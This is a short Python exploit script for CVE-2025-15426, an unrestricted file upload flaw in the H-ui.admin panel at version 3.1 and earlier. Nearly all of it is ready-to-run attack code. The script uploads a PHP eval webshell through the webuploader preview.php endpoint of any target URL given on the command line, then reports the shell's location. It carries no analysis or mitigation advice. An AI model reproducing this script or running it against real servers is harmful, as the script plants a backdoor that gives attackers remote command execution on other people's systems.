CVE-2025-15426: H-ui.admin 任意文件上传漏洞

import requests import sys # CVE-2025-15426: H-ui.admin Unrestricted File Upload # Target: H-ui.admin <= 3.1 # Endpoint: /lib/webuploader/0.1.5/server/preview.php def exploit(target_url, webshell_content): """ Exploit for CVE-2025-15426 Uploads a webshell to the vulnerable H-ui.admin server """ upload_url = f"{target_url}/lib/webuploader/0.1.5/server/preview.php" # Prepare the malicious file files = { 'file': ('shell.php', webshell_content, 'application/x-php') } try: # Send the malicious upload request response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print(f"[+] File uploaded successfully!") print(f"[+] Response: {response.text}") print(f"[+] Access the shell at: {target_url}/uploads/shell.php") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/admin") sys.exit(1) target = sys.argv[1].rstrip('/') # Simple PHP webshell webshell = "<?php @eval($_POST['cmd']); ?>" exploit(target, webshell)